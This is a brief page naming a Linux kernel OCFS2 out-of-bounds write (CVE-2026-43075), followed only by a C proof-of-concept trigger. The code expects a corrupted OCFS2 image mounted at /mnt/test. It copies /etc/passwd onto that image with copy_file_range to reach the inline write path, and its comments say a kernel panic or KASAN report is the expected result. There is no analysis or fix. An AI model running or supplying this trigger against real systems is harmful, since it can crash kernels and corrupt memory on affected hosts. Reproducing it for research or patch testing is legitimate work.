CVE-2026-43075: Linux内核OCFS2越界写入漏洞

/* * PoC for CVE-2026-43075 (Conceptual Trigger) * Requires a corrupted OCFS2 filesystem image mounted on /mnt/test. * The corruption involves setting id_count > max inline size on an inode. */ #include <fcntl.h> #include <unistd.h> #include <sys/sendfile.h> #include <stdio.h> #include <stdlib.h> #include <errno.h> int main() { int src_fd, dst_fd; // Open a source file to copy data from src_fd = open("/etc/passwd", O_RDONLY); if (src_fd < 0) { perror("open src"); return 1; } // Open the target file on the corrupted OCFS2 filesystem // This file should have a corrupted inode triggering the inline write path dst_fd = open("/mnt/test/corrupted_file", O_WRONLY | O_CREAT, 0644); if (dst_fd < 0) { perror("open dst"); close(src_fd); return 1; } // Trigger copy_file_range which leads to splice and ocfs2_write_end_inline off_t offset = 0; ssize_t ret = copy_file_range(src_fd, NULL, dst_fd, &offset, 4096, 0); if (ret < 0) { perror("copy_file_range"); // Expected to crash here or trigger KASAN } else { printf("Copied %zd bytes. If kernel didn't panic, the image might not be corrupted correctly.\n", ret); } close(src_fd); close(dst_fd); return 0; }